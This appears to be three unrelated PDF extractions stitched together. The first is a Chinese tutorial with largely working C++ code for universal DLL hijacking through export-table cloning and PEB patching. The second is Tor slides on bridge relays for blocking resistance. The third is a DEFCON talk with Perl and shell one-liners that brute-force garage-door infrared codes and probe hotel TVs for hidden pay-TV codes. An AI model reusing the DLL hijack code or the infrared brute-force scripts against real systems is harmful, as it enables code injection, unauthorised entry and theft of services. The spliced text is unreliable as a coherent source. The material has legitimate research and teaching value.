dataTable->FullDllName.Buffer, dataTable->FullDllName.Length); if (_wcsicmp(wszDllName, dllname) == 0) { HMODULE hMod1 = LoadLibrary(TEXT("test.dll.1")); dataTable->DllBase = hMod1; break; } } } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { WCHAR ourPath[MAX_PATH]; GetModuleFileNameW(hModule, ourPath, MAX_PATH); SuperDllHijack(ourPath); MessageBox(NULL, TEXT("劫持成功"), TEXT("1"), MB_OK); } return TRUE; } https://github.com/anhkgg/SuperDllHijack/issues/5 ⾃动化通⽤DLL劫持 - 8 ⾃适应 DLL 劫持 ⽼外的⽂章,原⽂: 研究了⼀种万能 dll,来适 应各种劫持情况。 也提供了⼯具地址,Github: ⽂章对原理研究的也⽐较深⼊。 对于静态加载(在输⼊表中)的 dll,它的调⽤堆栈如下 C++ 在进程启动时,会进⾏依赖分析,来检查每个导⼊表中的函数,所以对于静态加载的 dll 劫持,必须要有导出表。 对于导出表的函数地址,是在修补时完成并写⼊ peb→ldr 中的,这部分可以动态修改。 那么如何⾃动化实现对于静态加载 dll 的通⽤劫持呢, 做了⼀个导出表克隆⼯具,在编译好了 的⾃适应 dll 后,可以⽤ 这个导出表克隆⼯具把要劫持的 dll 的导出表复制到这个 dll 上,在 dllmain 初始化时修补 IAT 从⽽实现正常加载。 对于动态加载(使⽤ LoadLibrary)的 dll,它的调⽤堆栈如下 https://www.netspi.com/blog/technical/adversary-simulation/adaptive-dll-hijacking/ https://github.com/monoxgas/Koppeling 1 2 3 4 5 6 7 8 ntdll!LdrInitializeThunk <- 新进程启动 ntdll!LdrpInitialize ntdll!_LdrpInitialize ntdll!LdrpInitializeProcess ntdll!LdrpInitializeGraphRecurse <- 依赖分析 ntdll!LdrpInitializeNode ntdll!LdrpCallInitRoutine evil!DllMain <- 执行的函数 Koppeling Koppeling ⾃动化通⽤DLL劫持 - 9 C++ 使⽤ LoadLibrary 加载的 dll,系统是没有检查它的导出表的,但是使⽤ GetProcAddress 后,会从导出表中获取函数。 的做法是在初始化后,将被劫持 dll 的导出表克隆⼀份,将⾃身导出表地址修改为克隆的地址。 相关代码如下, 1 2 3 4 5 6 7 8 9 KernelBase!LoadLibraryExW <- 调用loadlibrary ntdll!LdrLoadDll ntdll!LdrpLoadDll ntdll!LdrpLoadDllInternal ntdll!LdrpPrepareModuleForExecution ntdll!LdrpInitializeGraphRecurse <- 依赖图构建 ntdll!LdrpInitializeNode ntdll!LdrpCallInitRoutine evil!DllMain <- 执行初始化函数 Koppeling ⾃动化通⽤DLL劫持 - 10 C++ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 /// // 4 - Clone our export table to match the target DLL (for GetProcAddress) /// auto ourHeaders = (PIMAGE_NT_HEADERS)(ourBase + PIMAGE_DOS_HEADER(ourBase)->e_lfanew); auto ourExportDataDir = &ourHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; if (ourExportDataDir->Size == 0) return FALSE; // Our DLLs doesn't have any exports auto ourExportDirectory = PIMAGE_EXPORT_DIRECTORY(ourBase + ourExportDataDir->VirtualAddress); // Make current header data RW for redirections DWORD oldProtect = 0; if (!VirtualProtect( ourExportDirectory, sizeof(PIMAGE_EXPORT_DIRECTORY), PAGE_READWRITE, &oldProtect)) { return FALSE; } DWORD totalAllocationSize = 0; // Add the size of jumps totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpRax) + sizeof(LP VOID)); // Add the size of function table totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT); // Add total size of names PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames); for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1; // Add size of name table totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT); // Add the size of ordinals: totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT); // Allocate usuable memory for rebuilt export data PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE); if (!exportData) return FALSE; PBYTE sideAllocation = exportData; // Used for VirtualProtect later // Copy Function Table PINT newFunctionTable = (PINT)exportData; CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->Nu mberOfFunctions * sizeof(INT)); exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT); ourExportDirectory->AddressOfFunctions = DWORD((PBYTE)newFunctionTable - (PBYTE)ourBase); // Write JMPs and update RVAs in the new function table PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions); for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) { newFunctionTable[i] = DWORD((exportData - (PBYTE)ourBase)); CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix)); exportData += sizeof(jmpPrefix); PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]); CopyMemory(exportData, &realAddress, sizeof(LPVOID)); exportData += sizeof(LPVOID); CopyMemory(exportData, jmpRax, sizeof(jmpRax)); ⾃动化通⽤DLL劫持 - 11 通⽤ dll 已经实现了通⽤ dll 的雏形,但是对动态 DLL 的加载过程有点繁琐,这块直接修改 peb ldr dll 中的 dllmain 就⾏了。 整个劫持的核⼼代码都没有⼀百⾏。 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 exportData += sizeof(jmpRax); } // Copy Name RVA Table PINT newNameTable = (PINT)exportData; CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->Number OfNames * sizeof(DWORD)); exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD); ourExportDirectory->AddressOfNames = DWORD(((PBYTE)newNameTable - (PBYTE)ourBase)); // Copy names and apply delta to all the RVAs in the new name table for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) { PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]); DWORD length = (DWORD)strlen((LPCSTR)realAddress); CopyMemory(exportData, realAddress, length); newNameTable[i] = DWORD((PBYTE)exportData - (PBYTE)ourBase); exportData += (ULONG_PTR)length + 1; } // Copy Ordinal Table PINT newOrdinalTable = (PINT)exportData; CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirecto ry->NumberOfFunctions * sizeof(USHORT)); exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT); ourExportDirectory->AddressOfNameOrdinals = DWORD((PBYTE)newOrdinalTable - (PBYTE)ourBase); if (!VirtualProtect( ourExportDirectory, sizeof(PIMAGE_EXPORT_DIRECTORY), oldProtect, &oldProtect)) { return FALSE; } if (!VirtualProtect( sideAllocation, totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect)) { return FALSE; } Koppeling ⾃动化通⽤DLL劫持 - 12 C++ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 bool SuperDllHijack(LPSTR dllname) { HMODULE hMod1 = LoadLibrary(TEXT("test.dll.1")); if(hMod1 == NULL){ MessageBox(NULL, L"加载欲劫持的dll失败", L"Error", MB_ICONERROR); return false; } LPCSTR ourName = dllname; for (DWORD i = 0; dllname[i] != NULL; i++) { if (dllname[i] == '\\' || dllname[i] == '/') ourName = &dllname[i + 1]; } #ifdef _DEBUG _RPT1(0, "ourName:%s\n", ourName); #endif PBYTE targetBase = (PBYTE)hMod1; // 获取劫持dll的导出表函数的地址 auto targetHeaders = (PIMAGE_NT_HEADERS)(targetBase + PIMAGE_DOS_HEADER(targetBase)->e_lfanew); auto exportDataDir = &targetHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; if (exportDataDir->Size == 0) { MessageBox(NULL, L"size is 0", L"", MB_ICONERROR); return false; } auto targetExportDirectory = PIMAGE_EXPORT_DIRECTORY(targetBase + exportDataDir->VirtualAddress); auto nameOffsetList = PDWORD(targetBase + targetExportDirectory->AddressOfNames); auto addressList = PDWORD(targetBase + targetExportDirectory->AddressOfFunctions); auto ordinalList = PWORD(targetBase + targetExportDirectory->AddressOfNameOrdinals); std::map<std::string, PBYTE> exports; // 名称map std::map<DWORD, PBYTE> ordinamap; // 序号map for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) { std::string functionName = LPSTR(targetBase + nameOffsetList[i]); auto index = ordinalList[i]; PBYTE code = PBYTE(targetBase + addressList[index]); #ifdef _DEBUG _RPT1(0, "function:%s ord:%d addr:0x%x\n",functionName.c_str(),index,code); #endif exports.insert(std::pair<std::string, PBYTE>(functionName, code)); ordinamap.insert(std::pair<DWORD, PBYTE>(index, code)); } // 处理自身 PBYTE base = (PBYTE)GetModuleHandle(NULL); #ifdef _DEBUG _RPT1(0, "base:%x\n", base); #endif iatPatch(base, ourName, exports, ordinamap); #if defined(_WIN64) auto peb = PPEB(__readgsqword(0x60)); #else auto peb = PPEB(__readfsdword(0x30)); #endif auto ldr = peb->Ldr; auto lpHead = &ldr->InMemoryOrderModuleList, lpCurrent = lpHead; while ((lpCurrent = lpCurrent->Blink) != lpHead) { PLDR_DATA_TABLE_ENTRY dataTable = CONTAINING_RECORD(lpCurrent, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); auto base = PBYTE(dataTable->DllBase); iatPatch(base, ourName, exports, ordinamap); // 对于动态加载的dll ⾃动化通⽤DLL劫持 - 13 这⾥加载原始 dll 直接⽤的 LoadLibrary ,后⾯考虑隐藏性可以直接把原始 dll 嵌⼊进来⽤内存加载的⽅式。 编译为 base.dll,作为劫持通⽤ dll,后⾯需要⽤⼀个⽣成器,来动态添加 dll 的导出表。 具体使⽤ dll 程序默认加载原始 dll 的名字为 test.dll.1,将要劫持的 dll 重命名为 test.dll.1,将⽣成的 dll 改名为劫持的 dll 原始名称即可。 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 WCHAR wszdllname[500] = { 0 }; memset(wszdllname, 0, 500 * 2); memcpy(wszdllname, dataTable->FullDllName.Buffer, dataTable->FullDllName.Length); std::wstring_convert<std::codecvt_utf8<wchar_t>> converter; std::string s1 = converter.to_bytes(wszdllname); #ifdef _DEBUG _RPT1(0, "memorderdll:%s\n", s1.c_str()); #endif if (_strcmpi(dllname, s1.c_str()) == 0) { #ifdef _DEBUG _RPT0(0,"dyn dll fix\n"); #endif dataTable->DllBase = hMod1; } } return TRUE; } 安装 python 依赖 1. pip install pefile 执⾏ 2. python base.dll 原始的 dll -o ⽣成的的 dll 1. PyClone.py 3.
pdf
1 Design of a blocking-resistant anonymity system Roger Dingledine, Nick Mathewson The Tor Project 2 Outline ● Crash course on Tor ● Goals for blocking resistance ● Assumptions (threat model) ● What Tor offers now ● Current proxy solutions ● What we need to add to Tor ● All the other issues that come up 3 Tor: Big Picture ● Freely available (Open Source), unencumbered. ● Comes with a spec and full documentation: Dresden and Aachen implemented compatible Java Tor clients; researchers use it to study anonymity. ● Chosen as anonymity layer for EU PRIME project. ● 200000+ (?) active users. ● PC World magazine named Tor one of the Top 100 Products of 2005. 4 Anonymity serves different interests for different user groups. Anonymity Private citizens Governments Businesses “It's privacy!” 5 Anonymity serves different interests for different user groups. Anonymity Private citizens Governments Businesses “It's network security!” “It's privacy!” 6 Anonymity serves different interests for different user groups. Anonymity Private citizens Governments Businesses “It's traffic-analysis resistance!” “It's network security!” “It's privacy!” 7 The simplest designs use a single relay to hide connections. Bob2 Bob1 Bob3 Alice2 Alice1 Alice3 Relay E(Bob3,“X”) E(Bob1, “Y”) E(Bob2, “Z”) “Y” “Z” “X” (example: some commercial proxy providers) 8 But a single relay is a single point of failure. Bob2 Bob1 Bob3 Alice2 Alice1 Alice3 Evil Relay E(Bob3,“X”) E(Bob1, “Y”) E(Bob2, “Z”) “Y” “Z” “X” Eavesdropping on the relay works too. 9 So, add multiple relays so that no single one can betray Alice. Bob Alice R1 R2 R3 R4 R5 10 A corrupt first hop can tell that Alice is talking, but not to whom. Bob Alice R1 R2 R3 R4 R5 11 A corrupt final hop can tell that somebody is talking to Bob, but not who. Bob Alice R1 R2 R3 R4 R5 12 Alice makes a session key with R1 ...And then tunnels to R2...and to R3 Bob Alice R1 R2 R3 R4 R5 Bob2 13 Attackers can block users from connecting to the Tor network ● By blocking the directory authorities ● By blocking all the server IP addresses in the directory ● By filtering based on Tor's network fingerprint 14 Goals ● Attract, and figure out how to use, more relay addresses ● Normalize Tor's network fingerprint ● Solve the discovery problem: how to find relay addresses safely ● Don't screw up our anonymity properties in the process 15 Adversary assumptions aka Threat model ● Aim to defend against a strong attacker – so we inherit defense against weaker attackers ● Have a variety of users in mind – Citizens in China, Thailand, ... – Whistleblowers in corporate networks – Future oppressive situations ● Attackers will be in different stages of the arms race 16 Attacker's goals (1) ● Restrict the flow of certain kinds of information – Embarrassing (rights violations, corruption) – Opposing (opposition movements, sites that organize protests) ● Chill behavior by impression that online activities are monitored 17 Attacker's goals (2) ● Complete blocking is not a goal. It's not even necessary. ● Similarly, no need to shut down or block every circumvention tool. Just ones that are – popular and effective (the ones that work) – highly visible (make censors look bad to citizens -- and to bosses) 18 Attacker's goals (3) ● Little reprisal against passive consumers of information. – Producers and distributors of information in greater danger. ● Censors (actually, govts) have economic, political, social incentives not to block the whole Internet. – But they don't mind collateral damage. 19 Main network attacks ● Block by IP address at firewall ● Keyword searching in TCP packets ● Intercept DNS requests and give bogus responses or redirects 20 Design assumptions (1) ● Network firewall has limited CPU and memory per connection – full steganography not needed, thankfully ● Time lag between attackers sharing notes – Most commonly by commercial providers of filtering tools – Insider threat not a worry initially 21 Design assumptions (2) ● Censorship is not uniform even within each country, often due to different ISP policies ● Attacker can influence other countries and companies to help them censor or track users. 22 Design assumptions (3) ● Assume the users aren't attacked by their hardware and software – No spyware installed, no cameras watching their screens, etc ● Assume the users can fetch a genuine copy of Tor: use GPG signatures, etc. 23 Outline ● Goals ● Assumptions (threat model) ● What Tor offers now ● Current proxy solutions ● What we need to add to Tor ● All the other issues that come up 24 Tor gives three anonymity properties ● #1: A local network attacker can't learn, or influence, your destination – Clearly useful for blocking resistance ● #2: No single router can link you to your destination – The attacker can't sign up relays to trace users ● #3: The destination, or somebody watching it, can't learn your location – So they can't reveal you; or treat you differently. 25 Other Tor design features (1) ● Well-analyzed, well-understood discovery mechanism: directory authorities. ● They automatically aggregate, test, and publish signed summaries of the available routers. ● Tor clients fetch these summaries to learn which routers have what properties. ● Directory information is cached throughout the Tor network. 26 Other Tor design features (2) ● The list of dir authorities is not hard-wired. ● There are defaults, but you can easily specify your own to start using a different (or even overlapping!) Tor network. ● For example, somebody could run a separate Tor network in China. ● (But splitting up our users is bad for anonymity.) 27 Other Tor design features (3) ● Tor automatically builds paths, and rebuilds and rotates them as needed. ● More broadly, Tor is just a tool to build paths given a set of routers. ● Harvard's “Blossom” project makes this flexibility more concrete: – It lets users view Internet resources from any point in the Blossom network. 28 Other Tor design features (4) ● Tor separates the role of “internal relay” from the role of “exit relay”. ● Because we don't force all volunteers to play both roles, we end up with more relays. ● This increased diversity is what gives Tor users their anonymity. 29 Other Tor design features (5) ● Tor is sustainable. It has a community of developers and volunteers. ● Commercial anonymity systems have flopped or constantly need more funding for bandwidth. ● Our sustainability is rooted in Tor's open design: clear documentation, modularity, and open source. 30 Other Tor design features (6) ● Tor has an established user base of hundreds of thousands of people around the world. ● Ordinary citizens, activists, corporations, law enforcement, even govt and military users. ● This diversity contributes to sustainability. ● It also provides many many IP addresses! 31 Anonymity is useful for censorship-resistance too! ● If a Chinese worker blogs about a problem at her factory, and she routes through her uncle's computer in Ohio to do it, ...? ● If any relay can expose dissident bloggers or compile profiles of user behavior, attacker should attack relays. ● ...Or just spread suspicion that they have, to chill users. 32 Outline ● Goals ● Assumptions (threat model) ● What Tor offers now ● Current proxy solutions ● What we need to add to Tor ● All the other issues that come up 33 Relay versus Discovery ● There are two pieces to “proxying” schemes: ● a relay component: building circuits, sending traffic over them ● a discovery component: learning what routers are available 34 Centrally-controller shared proxies ● Existing commercial anonymizers are based on a set of single-hop proxies. ● Typically characterized by two features: – They control and operate the proxies centrally. – Many different users get assigned to each proxy. ● Weak security compared to distributed-trust. ● But easier to deploy, and users don't need new software because they completely trust the proxy already. 35 Independent personal proxies ● Circumventor, CGIProxy, Psiphon ● Same relay strategy, new discovery strategy: “Find a friend to install the relay for you.” ● Great for blocking-resistance, but huge scalability question: ● How does the user in China find a volunteer in Ohio? ● How does the volunteer in Ohio find a user in China? 36 Open proxies ● Google for “open proxy list”. ● Companies sell refined lists. ● Downsides: – Widely varying bandwidth, stability, reachability. – Legally questionable. – Not encrypted in most cases; keyword filtering still works. – “Too convenient” Are they run by the adversary? 37 JAP and blocking-resistance ● Stefan Kopsell's paper from WPES 2004 ● This is the idea that we started from in this blocking-resistance design. ● Uses the JAP anonymity network rather than Tor. ● Discovery is handled by making users solve a CAPTCHA in order to learn a relay address. 38 Internal caching networks ● Run a Freenet network inside China or other countries. ● Many users can fetch content without ever needing to cross the national firewall. ● Usability issues? and anonymity issues. 39 Skype ● Port switching and encryption avoid the simple blocking and filtering attacks. ● Still has a central login server? 40 ...and Tor itself ● Tor's website is blocked in many places, but not the Tor network. Why? ● Tens of thousands of users? “Nobody cares.” ● Perception: “Tor is for experts.” ● We haven't publicly threatened their control: “Tor is for civil liberties in free countries.” ● Realize that we're already in the arms race. These constraints teach us about priorities and capabilities of our various attackers. 41 Outline ● Goals ● Assumptions (threat model) ● What Tor offers now ● Current proxy solutions ● What we need to add to Tor ● All the other issues that come up 42 Bridge relays ● Hundreds of thousands of Tor users, already self-selected for caring about privacy. ● Add a “Tor for Freedom” button to Vidalia (the most popular Tor GUI). ● Rate limit to 10KB/s. ● They can be internal relays, and don't have to be exit relays. 43 Bridge directory authorities ● Specialized dir authorities that aggregate and track bridges, but don't provide a public list: – You can keep up-to-date about a bridge once you know its key, but can't just grab list of all bridges. ● Identity key and address for default bridge authorities ship with Tor. ● Bridges publish via Tor, in case somebody is monitoring the authority's network. 44 One working bridge is enough ● Connect via that bridge to the bridge authority. ● ...and to the main Tor network. ● Remember, all of this happens in the background. ● “How to circumvent for all transactions (and trust the pages you get)” is now reduced to “How to learn about a working bridge”. 45 Hiding Tor's network fingerprint ● [Skipping details since I only have an hour] ● Get rid of plaintext HTTP (used by directories) ● Pick a good default port like 443. ● Make the TLS handshake look more like an ordinary HTTPS certificate exchange. ● Better understand timing and volume fingerprint attacks. 46 Discovering working bridge relays ● Tor's modular design means we can separate the relay component from the discovery component. ● So we can use any discovery approach we like. Great! ● ...But alas, we still don't have any perfect ones. 47 Discovery: bootstrapping ● We assume users already have some way of bypassing the firewall to bootstrap. ● Open proxy servers, instant messaging, Skype, WoW, ... ● Or they know a friend who can. 48 Independent bridges, no central discovery ● Like CGIProxy. ● Users could bootstrap by – knowing the bridge's operator, or – learning about the bridge from a local friend. ● “Telling a friend” has interesting incentives: – If he gets it blocked, you can't use it either now. – You're mapping your social network for the adversary. 49 Families of bridges, no central discovery ● Volunteers run several bridges at once, or coordinate with other volunteers. ● The goal is that some bridges will be available at any given time. ● Each family has a bridge authority, to add new bridges to the pool, expire abandoned or blocked bridges, etc. ● Remember: this is all automated by the Tor client. 50 Public bridges, central discovery ● What about bridges who don't know users? Or users who don't know any bridges? ● Divide bridges into pools based on identity key. ● Each pool corresponds to a distribution strategy. We start with eight strategies. ● Each strategy is designed to exercise a different scarce resource or property of the user. 51 Distribution strategy #1 ● Time-release bridge addresses. ● Divide available bridges into partitions, and each partition is deterministically available only in certain time windows. ● This pool will be first to get blocked, but – it will help to bootstrap until it is blocked – it won't be blocked by every adversary 52 Distribution strategy #2 ● Publish bridge addresses based on IP address of requester. ● Divide bridges into partitions, hash the requester's IP address, choose a random bridge from the appropriate partition. ● (Don't use entire IP address, just first 3 octets.) ● As a special case, treat all Tor exit IP addresses as being on the same network. 53 Distribution strategy #3 ● Combine time-based and location-based strategies. ● The bridge address provided in a given time slot is deterministic within the partition, rather than chosen randomly each time. ● So later requests during that time slot from a given network are given the same bridge address as the first request. 54 Distribution strategy #4 ● Use Circumventor's “mailing list trick”. ● Start a mailing list, let people sign up, send out a few new bridge addresses every few days. ● The adversary will block them, but not immediately. ● Every three or four days seems to be sufficient for Circumventor for now. 55 Distribution strategy #5 ● Users provide an email address and we mail them a bridge address. ● Limit one response per email address? ● Require a CAPTCHA. – We can leverage Yahoo and Gmail CAPTCHAs! 56 Distribution strategy #6 ● Social network reputation system. ● Pick some seeds (trusted people in blocked areas) and give them a few dozen bridge addresses and a few “delegation tokens”. ● Run a database near the bridge authority; Tor clients log in to learn more bridge addresses. ● Users can delegate trust to other people by giving them a token, which can be exchanged for a new account in the database. 57 Distribution strategy #6 (cont) ● Accounts “in good standing” then accrue new bridge addresses and new tokens. ● How do we decide we like an account? If the bridges it knows don't end up blocked. ● Could track reputation between accounts, or use blinded tokens to prevent even the database from mapping the social network. ● Gets really messy. Future work. 58 Distribution strategies #7 and #8 ● Held in reserve, in case all our tricks fail at once and we need to deploy new strategies quickly. ● Please come up with new strategies and tell us! For example, SMS messages? 59 Deploying all solutions at once ● Finally, we're not in the position of defender: We only need one scheme that works! ● The attacker must guess how to allocate his resources between all the discovery strategies. ● By deploying all of them at once, we make all of them more likely to succeed. 60 How do we learn if a bridge has been blocked? (1) ● Active testing via users – Can use Blossom-like system to build circuits through them to test. – If we pick random users, the adversary should sign up users. – Even if we have trusted users, adversary can still discover them and monitor them. 61 How do we learn if a bridge has been blocked? (2) ● Passive testing via bridges – Bridges install GeoIP database, periodically report countries and traffic load. – But: If we don't see activity from Burma, does that mean it's blocked, or they're just asleep? 62 How do we learn if a bridge has been blocked? (3) ● Different zones of the Internet are blocked in different ways – not just one per country. ● Lots of different possible locations for the fault: at bridge, at user, in between? ● Attacker could poison our bridge DB by signing up already-blocked bridges. ● Eventual solution will probably involve a combination of active and passive testing. 63 Outline ● Goals ● Assumptions (threat model) ● What Tor offers now ● Current proxy solutions ● What we need to add to Tor ● All the other issues that come up 64 Using Tor in oppressed areas ● Common assumption: risk of using Tor increases as firewall gets more restrictive. ● But as firewall gets more restrictive, more ordinary people use Tor too, for more mainstream activities. ● So the “median” use becomes more acceptable? 65 Trusting local hardware/software ● Internet cafes ● USB-based Tor package ● CD-based Tor package (LiveCD) 66 How many bridges do you need to know about to stay connected? ● Cablemodem / DSL bridges will disappear or move periodically. ● Already a tough problem with natural churn, but they can also get blocked. ● Related: how often should users fetch updates? 67 Cablemodems don't usually run big websites ● So the attacker can just block all connections to Comcast, Verizon, ... ● We need to get bridges on both “consumer” and “producer” addresses. ● Also have to worry about economic pressure, E.g. from China on Verizon. 68 Publicity attracts attention ● Many circumvention tools launch with huge media splashes. (The media loves this.) ● But publicity attracts attention of the censors. ● We threaten their appearance of control, so they must respond. ● We can control the pace of the arms race. 69 Next steps ● Technical solutions won't solve the whole censorship problem. After all, firewalls are socially very successful in these countries. ● But a strong technical solution is still a critical puzzle piece. ● Next steps: deploy prototype bridges and bridge authorities, implement some discovery strategies, and get more intuition about what should come next. 70 And Tor itself needs to survive ● Ongoing discussion around the world: is anonymity useful for the world? ● Data retention threatens privacy and safety, but won't catch the bad guys. ● We need help! More Tor servers, more volunteers, more funding, ...
pdf
Introduction Major Malfunction Security professional by day White Hat hacker since the '70s DEFCON Goon since DC5 Co-founder of InterFACE internet pirate radio station Introduction Why Infra Red? Ubiquitous - still used in modern applications TV / Cable / Sat remotes Master configuration / Tuning Package selection Central control / Billing Vending machines Programming / price changes On / Off duty Public display signs Message programming Master configuration Garage door openers Car alarm systems / Central locking Air conditioning systems Introduction Why MMIrDA? 'Major Malfunction's Infra Red Discovery Application' Built in IrDA Serial port on laptops Originally intended to write a tool for FreeBSD, but found LIRC and other tools already existed under Linux Introduction Why Bother? IR unlikely to be replaced Fit for use Cheap Simple If it ain't broke, don't fix it! Because it's there! Good skills Practice your art Know your enemy All work & no play... Introduction IR is the ultimate in 'security by obscurity' Invisible rays hide a multitude of sins Simple codes Total control Inverted security model End user device filters content e.g. Hotel PPV TV Simple Replay Attacks Record codes and retransmit Early Car Alarms Garage Doors Toys - RoboSapien Standard TVs Bars, Clubs etc. Clone 'special' remotes Cloning / Replay Tools Learning remotes Casio IR Watches Apple Newton OmniRemote PalmOS Dev library http://www.pacificneotek.com/ Philips Pronto Human readable (Hex) http://www.remotecentral.com/ Pronto tools Brute Force Attacks Record codes, analyse and infer Garage Doors TVs Cars Brute Force Tools LIRC http://www.lirc.org/ Visualisation tools Auto learning ASCII / Human readable config Software only with laptop IR port Linux only iRTrans http://www.irtrans.de/ More powerful transmitter Solves PC timing issues Works with more targets Serial or USB Linux or Virus Garage Door Openers Simple code, manually configurable Dipswitch with 8 on / off bits = 256 possible codes Analyse Data Bits With XMODE2 All on S11111111 s s s s All off S 00000000 s s s s 1-7 off, 8 on S 00000001 s s s s 1 on, 2-8 off S 10000000 s s s s 1-3 off, 4-6 on, 7-8 off S 00011100 s s s s Conclusion: 1 start bit, 8 data bits, 4 stop bits Garage Door Openers Creating LIRC config Learn test codes with 'irrecord': begin remote name garage bits 12 one 214 558 zero 214 259 toggle_bit 0 begin codes 00 0x0000000000000000 01 0x0000000000000001 80 0x0000000000000080 e3 0x00000000000000e3 # 00011100 inverted ff 0x00000000000000ff end codes end remote Garage Door Openers Now fill in the gaps perl -e 'for (0..255) { printf(" %02x\t\t0x%016x\n",$_,$_) }' 00 0x0000000000000001 01 0x0000000000000001 02 0x0000000000000002 03 0x0000000000000003 04 0x0000000000000004 05 0x0000000000000005 06 0x0000000000000006 07 0x0000000000000007 08 0x0000000000000008 09 0x0000000000000009 0a 0x000000000000000a 0b 0x000000000000000b . . . Garage Door Openers Send all codes for i in `perl -e 'for (0..255) { printf("%02x\n",$_) }'` ; do irsend SEND_ONCE garage $i ; done irsend SEND_ONCE garage 00 irsend SEND_ONCE garage 01 irsend SEND_ONCE garage 02 irsend SEND_ONCE garage 03 irsend SEND_ONCE garage 04 irsend SEND_ONCE garage 05 irsend SEND_ONCE garage 06 irsend SEND_ONCE garage 07 . . . 54 seconds to send all 256 codes Hotel TV Inverted security model Back-end may broadcast all content TV filters content TV controlled by end user No authentication required No encryption Closed system TV Remotes More complex codes (more bits) Manufacturer collision avoidance Groups of codes use different bits Multiple device types on single remote TV Video Sat / Cable Standard Group Channel select Menu Motion Teletext Extra Group Alarm clock Pay TV Checkout Hidden TV Remotes More complex codes (more bits) TV Remotes – discovering hidden codes 14 bit code = 16,384 possible codes 9 hours to test @ 2 second per code Reducing the search space – Standard Group [REMOTE] [NAME]hotel [COMMANDS] [0][T]0[D]11000000000000 [1][T]0[D]11000000000001 [2][T]0[D]11000000000010 [3][T]0[D]11000000000011 [4][T]0[D]11000000000100 [5][T]0[D]11000000000101 [6][T]0[D]11000000000110 [7][T]0[D]11000000000111 [8][T]0[D]11000000001000 [9][T]0[D]11000000001001 Bits used so far: xx--------xxxx TV Remotes – discovering hidden codes Reducing the search space – Standard Group [power] [T]0[D]11000000001100 [mute] [T]0[D]11000000001101 [vol+] [T]0[D]11000000010000 [vol-] [T]0[D]11000000010001 [prog+] [T]0[D]11000000100000 [prog-] [T]0[D]11000000100001 [audio] [T]0[D]11000000100011 [sleep] [T]0[D]11000000100110 [text] [T]0[D]11000000111100 [up] [T]0[D]10000000010000 [down] [T]0[D]10000000010001 [menu] [T]0[D]10000000010010 [left] [T]0[D]10000000010101 [right] [T]0[D]10000000010110 [ok] [T]0[D]10000000010111 Bits used so far: xx------xxxxxx TV Remotes – discovering hidden codes Reducing the search space – Extra Group [smart] [T]0[D]11000011001010 [paytv+] [T]0[D]11000011011100 [paytv-] [T]0[D]11000011011101 [radio+] [T]0[D]11000011011110 [radio-] [T]0[D]11000011011111 [info+] [T]0[D]10000011001101 [info-] [T]0[D]10000011001110 [message] [T]0[D]10000011001010 [alarmon] [T]0[D]10000011101000 [alarmoff] [T]0[D]10000011101001 Bits used so far: xx----xxxxxxxx First 2 bits used 4 bits unknown Main code in last 8 bits TV Remotes – Discovering Hidden Codes Reducing the search space – Eliminate unused bits Toggle single bit on a standard command [power][T]0[D]11000000001100 - Original [power][T]0[D]01000000001100 - Command OK [power][T]0[D]10000000001100 - Command fails [power][T]0[D]11100000001100 - Command OK [power][T]0[D]11010000001100 - Command OK [power][T]0[D]11001000001100 - Command OK [power][T]0[D]11000100001100 - Command fails Assumption: bits 1, 3, 4, 5 ignored 10 bits = 1,024 possible codes = 2,048 seconds = 35 mins TV Remotes – discovering hidden codes Create new configs perl -e 'for (0..255) { printf(" [%03d][T]0[D]100000%s\n",$_,unpack("B8",pack ("i",$_+0))) }' > hotel1.rem perl -e 'for (0..255) { printf(" [%03d][T]0[D]100001%s\n",$_,unpack("B8",pack ("i",$_+0))) }' > hotel2.rem perl -e 'for (0..255) { printf(" [%03d][T]0[D]110000%s\n",$_,unpack("B8",pack ("i",$_+0))) }' > hotel3.rem perl -e 'for (0..255) { printf(" 